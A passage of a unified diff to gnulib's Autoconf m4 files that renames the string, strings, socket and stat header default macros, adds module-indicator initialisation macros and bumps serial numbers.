GNULIB_MDA_PUTENV=1; AC_SUBST([GNULIB_MDA_PUTENV]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE__EXIT=1; AC_SUBST([HAVE__EXIT]) + HAVE_ALIGNED_ALLOC=1; AC_SUBST([HAVE_ALIGNED_ALLOC]) +@@ -137,8 +154,10 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS], + HAVE_SETSTATE=1; AC_SUBST([HAVE_SETSTATE]) + HAVE_DECL_SETSTATE=1; AC_SUBST([HAVE_DECL_SETSTATE]) + HAVE_STRTOD=1; AC_SUBST([HAVE_STRTOD]) ++ HAVE_STRTOL=1; AC_SUBST([HAVE_STRTOL]) + HAVE_STRTOLD=1; AC_SUBST([HAVE_STRTOLD]) + HAVE_STRTOLL=1; AC_SUBST([HAVE_STRTOLL]) ++ HAVE_STRTOUL=1; AC_SUBST([HAVE_STRTOUL]) + HAVE_STRTOULL=1; AC_SUBST([HAVE_STRTOULL]) + HAVE_STRUCT_RANDOM_DATA=1; AC_SUBST([HAVE_STRUCT_RANDOM_DATA]) + HAVE_SYS_LOADAVG_H=0; AC_SUBST([HAVE_SYS_LOADAVG_H]) +@@ -160,11 +179,16 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS], + REPLACE_RANDOM=0; AC_SUBST([REPLACE_RANDOM]) + REPLACE_RANDOM_R=0; AC_SUBST([REPLACE_RANDOM_R]) + REPLACE_REALLOC=0; AC_SUBST([REPLACE_REALLOC]) ++ REPLACE_REALLOCARRAY=0; AC_SUBST([REPLACE_REALLOCARRAY]) + REPLACE_REALPATH=0; AC_SUBST([REPLACE_REALPATH]) + REPLACE_SETENV=0; AC_SUBST([REPLACE_SETENV]) + REPLACE_SETSTATE=0; AC_SUBST([REPLACE_SETSTATE]) + REPLACE_STRTOD=0; AC_SUBST([REPLACE_STRTOD]) ++ REPLACE_STRTOL=0; AC_SUBST([REPLACE_STRTOL]) + REPLACE_STRTOLD=0; AC_SUBST([REPLACE_STRTOLD]) ++ REPLACE_STRTOLL=0; AC_SUBST([REPLACE_STRTOLL]) ++ REPLACE_STRTOUL=0; AC_SUBST([REPLACE_STRTOUL]) ++ REPLACE_STRTOULL=0; AC_SUBST([REPLACE_STRTOULL]) + REPLACE_UNSETENV=0; AC_SUBST([REPLACE_UNSETENV]) + REPLACE_WCTOMB=0; AC_SUBST([REPLACE_WCTOMB]) + ]) +--- a/gnulib/m4/stpcpy.m4 ++++ b/gnulib/m4/stpcpy.m4 +@@ -1,4 +1,4 @@ +-# stpcpy.m4 serial 8 ++# stpcpy.m4 serial 9 + dnl Copyright (C) 2002, 2007, 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -12,7 +12,7 @@ AC_DEFUN([gl_FUNC_STPCPY], + dnl The stpcpy() declaration in lib/string.in.h uses 'restrict'. + AC_REQUIRE([AC_C_RESTRICT]) + +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_FUNCS([stpcpy]) + if test $ac_cv_func_stpcpy = no; then + HAVE_STPCPY=0 +--- a/gnulib/m4/strcase.m4 ++++ b/gnulib/m4/strcase.m4 +@@ -1,4 +1,4 @@ +-# strcase.m4 serial 11 ++# strcase.m4 serial 12 + dnl Copyright (C) 2002, 2005-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -12,7 +12,7 @@ AC_DEFUN([gl_STRCASE], + + AC_DEFUN([gl_FUNC_STRCASECMP], + [ +- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS]) + AC_CHECK_FUNCS([strcasecmp]) + if test $ac_cv_func_strcasecmp = no; then + HAVE_STRCASECMP=0 +@@ -21,7 +21,7 @@ AC_DEFUN([gl_FUNC_STRCASECMP], + + AC_DEFUN([gl_FUNC_STRNCASECMP], + [ +- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS]) + AC_CHECK_FUNCS([strncasecmp]) + if test $ac_cv_func_strncasecmp = yes; then + HAVE_STRNCASECMP=1 +--- a/gnulib/m4/strcasestr.m4 ++++ b/gnulib/m4/strcasestr.m4 +@@ -1,4 +1,4 @@ +-# strcasestr.m4 serial 26 ++# strcasestr.m4 serial 27 + dnl Copyright (C) 2005, 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + dnl Check that strcasestr is present and works. + AC_DEFUN([gl_FUNC_STRCASESTR_SIMPLE], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + + dnl Persuade glibc <string.h> to declare strcasestr(). + AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS]) +--- a/gnulib/m4/strdup.m4 ++++ b/gnulib/m4/strdup.m4 +@@ -1,4 +1,4 @@ +-# strdup.m4 serial 14 ++# strdup.m4 serial 15 + + dnl Copyright (C) 2002-2021 Free Software Foundation, Inc. + +@@ -8,7 +8,7 @@ dnl with or without modifications, as lo + + AC_DEFUN([gl_FUNC_STRDUP], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_DECLS_ONCE([strdup]) + if test $ac_cv_have_decl_strdup = no; then + HAVE_DECL_STRDUP=0 +@@ -17,7 +17,7 @@ AC_DEFUN([gl_FUNC_STRDUP], + + AC_DEFUN([gl_FUNC_STRDUP_POSIX], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_REQUIRE([gl_CHECK_MALLOC_POSIX]) + if test $gl_cv_func_malloc_posix != yes; then + REPLACE_STRDUP=1 +--- a/gnulib/m4/strerror.m4 ++++ b/gnulib/m4/strerror.m4 +@@ -1,4 +1,4 @@ +-# strerror.m4 serial 21 ++# strerror.m4 serial 22 + dnl Copyright (C) 2002, 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,7 +6,7 @@ dnl with or without modifications, as lo + + AC_DEFUN([gl_FUNC_STRERROR], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_REQUIRE([gl_HEADER_ERRNO_H]) + AC_REQUIRE([gl_FUNC_STRERROR_0]) + AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles +--- a/gnulib/m4/string_h.m4 ++++ b/gnulib/m4/string_h.m4 +@@ -5,20 +5,15 @@ + # gives unlimited permission to copy and/or distribute it, + # with or without modifications, as long as this notice is preserved. + +-# serial 29 ++# serial 32 + + # Written by Paul Eggert. + +-AC_DEFUN([gl_HEADER_STRING_H], ++AC_DEFUN_ONCE([gl_STRING_H], + [ +- dnl Use AC_REQUIRE here, so that the default behavior below is expanded +- dnl once only, before all statements that occur in other macros. +- AC_REQUIRE([gl_HEADER_STRING_H_BODY]) +-]) +- +-AC_DEFUN([gl_HEADER_STRING_H_BODY], +-[ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only, before all statements ++ dnl that occur in other macros. ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + gl_NEXT_HEADERS([string.h]) + + dnl Check for declarations of anything we want to poison if the +@@ -33,62 +28,77 @@ AC_DEFUN([gl_HEADER_STRING_H_BODY], + AC_REQUIRE([AC_C_RESTRICT]) + ]) + ++# gl_STRING_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_STRING_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_STRING_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + +-AC_DEFUN([gl_HEADER_STRING_H_DEFAULTS], ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_STRING_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXPLICIT_BZERO]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSLL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMMEM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMPCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMRCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RAWMEMCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPNCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCHRNUL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRDUP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNCAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNDUP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPBRK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSEP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSTR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCASESTR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOK_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSTR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASECMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNCASECMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPCASECMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASESTR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCSPN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPBRK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSPN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSEP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSTOK_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERRORNAME_NP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGABBREV_NP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGDESCR_NP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSIGNAL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRVERSCMP]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MEMCCPY], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_STRDUP], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) ++]) ++ ++AC_DEFUN([gl_STRING_H_DEFAULTS], + [ +- GNULIB_EXPLICIT_BZERO=0; AC_SUBST([GNULIB_EXPLICIT_BZERO]) +- GNULIB_FFSL=0; AC_SUBST([GNULIB_FFSL]) +- GNULIB_FFSLL=0; AC_SUBST([GNULIB_FFSLL]) +- GNULIB_MEMCHR=0; AC_SUBST([GNULIB_MEMCHR]) +- GNULIB_MEMMEM=0; AC_SUBST([GNULIB_MEMMEM]) +- GNULIB_MEMPCPY=0; AC_SUBST([GNULIB_MEMPCPY]) +- GNULIB_MEMRCHR=0; AC_SUBST([GNULIB_MEMRCHR]) +- GNULIB_RAWMEMCHR=0; AC_SUBST([GNULIB_RAWMEMCHR]) +- GNULIB_STPCPY=0; AC_SUBST([GNULIB_STPCPY]) +- GNULIB_STPNCPY=0; AC_SUBST([GNULIB_STPNCPY]) +- GNULIB_STRCHRNUL=0; AC_SUBST([GNULIB_STRCHRNUL]) +- GNULIB_STRDUP=0; AC_SUBST([GNULIB_STRDUP]) +- GNULIB_STRNCAT=0; AC_SUBST([GNULIB_STRNCAT]) +- GNULIB_STRNDUP=0; AC_SUBST([GNULIB_STRNDUP]) +- GNULIB_STRNLEN=0; AC_SUBST([GNULIB_STRNLEN]) +- GNULIB_STRPBRK=0; AC_SUBST([GNULIB_STRPBRK]) +- GNULIB_STRSEP=0; AC_SUBST([GNULIB_STRSEP]) +- GNULIB_STRSTR=0; AC_SUBST([GNULIB_STRSTR]) +- GNULIB_STRCASESTR=0; AC_SUBST([GNULIB_STRCASESTR]) +- GNULIB_STRTOK_R=0; AC_SUBST([GNULIB_STRTOK_R]) +- GNULIB_MBSLEN=0; AC_SUBST([GNULIB_MBSLEN]) +- GNULIB_MBSNLEN=0; AC_SUBST([GNULIB_MBSNLEN]) +- GNULIB_MBSCHR=0; AC_SUBST([GNULIB_MBSCHR]) +- GNULIB_MBSRCHR=0; AC_SUBST([GNULIB_MBSRCHR]) +- GNULIB_MBSSTR=0; AC_SUBST([GNULIB_MBSSTR]) +- GNULIB_MBSCASECMP=0; AC_SUBST([GNULIB_MBSCASECMP]) +- GNULIB_MBSNCASECMP=0; AC_SUBST([GNULIB_MBSNCASECMP]) +- GNULIB_MBSPCASECMP=0; AC_SUBST([GNULIB_MBSPCASECMP]) +- GNULIB_MBSCASESTR=0; AC_SUBST([GNULIB_MBSCASESTR]) +- GNULIB_MBSCSPN=0; AC_SUBST([GNULIB_MBSCSPN]) +- GNULIB_MBSPBRK=0; AC_SUBST([GNULIB_MBSPBRK]) +- GNULIB_MBSSPN=0; AC_SUBST([GNULIB_MBSSPN]) +- GNULIB_MBSSEP=0; AC_SUBST([GNULIB_MBSSEP]) +- GNULIB_MBSTOK_R=0; AC_SUBST([GNULIB_MBSTOK_R]) +- GNULIB_STRERROR=0; AC_SUBST([GNULIB_STRERROR]) +- GNULIB_STRERROR_R=0; AC_SUBST([GNULIB_STRERROR_R]) +- GNULIB_STRERRORNAME_NP=0; AC_SUBST([GNULIB_STRERRORNAME_NP]) +- GNULIB_SIGABBREV_NP=0; AC_SUBST([GNULIB_SIGABBREV_NP]) +- GNULIB_SIGDESCR_NP=0; AC_SUBST([GNULIB_SIGDESCR_NP]) +- GNULIB_STRSIGNAL=0; AC_SUBST([GNULIB_STRSIGNAL]) +- GNULIB_STRVERSCMP=0; AC_SUBST([GNULIB_STRVERSCMP]) + HAVE_MBSLEN=0; AC_SUBST([HAVE_MBSLEN]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_MEMCCPY=1; AC_SUBST([GNULIB_MDA_MEMCCPY]) +- GNULIB_MDA_STRDUP=1; AC_SUBST([GNULIB_MDA_STRDUP]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_EXPLICIT_BZERO=1; AC_SUBST([HAVE_EXPLICIT_BZERO]) + HAVE_FFSL=1; AC_SUBST([HAVE_FFSL]) +--- a/gnulib/m4/strings_h.m4 ++++ b/gnulib/m4/strings_h.m4 +@@ -1,21 +1,16 @@ + # Configure a replacement for <strings.h>. +-# serial 6 ++# serial 9 + + # Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc. + # This file is free software; the Free Software Foundation + # gives unlimited permission to copy and/or distribute it, + # with or without modifications, as long as this notice is preserved. + +-AC_DEFUN([gl_HEADER_STRINGS_H], ++AC_DEFUN_ONCE([gl_STRINGS_H], + [ +- dnl Use AC_REQUIRE here, so that the default behavior below is expanded +- dnl once only, before all statements that occur in other macros. +- AC_REQUIRE([gl_HEADER_STRINGS_H_BODY]) +-]) +- +-AC_DEFUN([gl_HEADER_STRINGS_H_BODY], +-[ +- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only, before all statements ++ dnl that occur in other macros. ++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS]) + + gl_CHECK_NEXT_HEADERS([strings.h]) + if test $ac_cv_header_strings_h = yes; then +@@ -35,16 +30,31 @@ AC_DEFUN([gl_HEADER_STRINGS_H_BODY], + ]], [ffs strcasecmp strncasecmp]) + ]) + ++# gl_STRINGS_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_STRINGS_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_STRINGS_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + ]) + +-AC_DEFUN([gl_HEADER_STRINGS_H_DEFAULTS], ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_STRINGS_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFS]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS]) ++]) ++ ++AC_DEFUN([gl_STRINGS_H_DEFAULTS], + [ +- GNULIB_FFS=0; AC_SUBST([GNULIB_FFS]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_FFS=1; AC_SUBST([HAVE_FFS]) + HAVE_STRCASECMP=1; AC_SUBST([HAVE_STRCASECMP]) +--- a/gnulib/m4/strndup.m4 ++++ b/gnulib/m4/strndup.m4 +@@ -1,4 +1,4 @@ +-# strndup.m4 serial 22 ++# strndup.m4 serial 23 + dnl Copyright (C) 2002-2003, 2005-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_STRNDUP], + AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS]) + + AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_CHECK_DECLS_ONCE([strndup]) + AC_CHECK_FUNCS_ONCE([strndup]) + if test $ac_cv_have_decl_strndup = no; then +--- a/gnulib/m4/strnlen.m4 ++++ b/gnulib/m4/strnlen.m4 +@@ -1,4 +1,4 @@ +-# strnlen.m4 serial 13 ++# strnlen.m4 serial 14 + dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation, + dnl Inc. + dnl This file is free software; the Free Software Foundation +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + + AC_DEFUN([gl_FUNC_STRNLEN], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + + dnl Persuade glibc <string.h> to declare strnlen(). + AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS]) +--- a/gnulib/m4/strstr.m4 ++++ b/gnulib/m4/strstr.m4 +@@ -1,4 +1,4 @@ +-# strstr.m4 serial 22 ++# strstr.m4 serial 23 + dnl Copyright (C) 2008-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + dnl Check that strstr works. + AC_DEFUN([gl_FUNC_STRSTR_SIMPLE], + [ +- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS]) ++ AC_REQUIRE([gl_STRING_H_DEFAULTS]) + AC_REQUIRE([gl_FUNC_MEMCHR]) + if test $REPLACE_MEMCHR = 1; then + REPLACE_STRSTR=1 +--- a/gnulib/m4/sys_socket_h.m4 ++++ b/gnulib/m4/sys_socket_h.m4 +@@ -1,4 +1,4 @@ +-# sys_socket_h.m4 serial 25 ++# sys_socket_h.m4 serial 28 + dnl Copyright (C) 2005-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,7 +6,7 @@ dnl with or without modifications, as lo + + dnl From Simon Josefsson. + +-AC_DEFUN([gl_HEADER_SYS_SOCKET], ++AC_DEFUN_ONCE([gl_SYS_SOCKET_H], + [ + AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS]) + AC_REQUIRE([AC_CANONICAL_HOST]) +@@ -156,32 +156,47 @@ AC_DEFUN([gl_PREREQ_SYS_H_WS2TCPIP], + AC_SUBST([HAVE_WS2TCPIP_H]) + ]) + ++# gl_SYS_SOCKET_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_SYS_SOCKET_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_SYS_SOCKET_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_SYS_SOCKET_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SOCKET]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CONNECT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BIND]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPEERNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKOPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LISTEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SEND]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECVFROM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SENDTO]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETSOCKOPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SHUTDOWN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT4]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_SYS_SOCKET_H_DEFAULTS], + [ +- GNULIB_SOCKET=0; AC_SUBST([GNULIB_SOCKET]) +- GNULIB_CONNECT=0; AC_SUBST([GNULIB_CONNECT]) +- GNULIB_ACCEPT=0; AC_SUBST([GNULIB_ACCEPT]) +- GNULIB_BIND=0; AC_SUBST([GNULIB_BIND]) +- GNULIB_GETPEERNAME=0; AC_SUBST([GNULIB_GETPEERNAME]) +- GNULIB_GETSOCKNAME=0; AC_SUBST([GNULIB_GETSOCKNAME]) +- GNULIB_GETSOCKOPT=0; AC_SUBST([GNULIB_GETSOCKOPT]) +- GNULIB_LISTEN=0; AC_SUBST([GNULIB_LISTEN]) +- GNULIB_RECV=0; AC_SUBST([GNULIB_RECV]) +- GNULIB_SEND=0; AC_SUBST([GNULIB_SEND]) +- GNULIB_RECVFROM=0; AC_SUBST([GNULIB_RECVFROM]) +- GNULIB_SENDTO=0; AC_SUBST([GNULIB_SENDTO]) +- GNULIB_SETSOCKOPT=0; AC_SUBST([GNULIB_SETSOCKOPT]) +- GNULIB_SHUTDOWN=0; AC_SUBST([GNULIB_SHUTDOWN]) +- GNULIB_ACCEPT4=0; AC_SUBST([GNULIB_ACCEPT4]) + HAVE_STRUCT_SOCKADDR_STORAGE=1; AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE]) + HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY=1; + AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY]) +--- a/gnulib/m4/sys_stat_h.m4 ++++ b/gnulib/m4/sys_stat_h.m4 +@@ -1,4 +1,4 @@ +-# sys_stat_h.m4 serial 38 -*- Autoconf -*- ++# sys_stat_h.m4 serial 41 -*- Autoconf -*- + dnl Copyright (C) 2006-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + dnl From Eric Blake. + dnl Provide a GNU-like <sys/stat.h>. + +-AC_DEFUN([gl_HEADER_SYS_STAT_H], ++AC_DEFUN_ONCE([gl_SYS_STAT_H], + [ + AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS]) + +@@ -52,38 +52,53 @@ AC_DEFUN([gl_HEADER_SYS_STAT_H], + AC_REQUIRE([AC_C_RESTRICT]) + ]) + ++# gl_SYS_STAT_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_SYS_STAT_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_SYS_STAT_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_SYS_STAT_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_UNISTD_H_REQUIRE_DEFAULTS dnl for REPLACE_FCHDIR ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHMODAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTATAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FUTIMENS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUMASK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHMOD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSTAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIRAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFO]) ++ 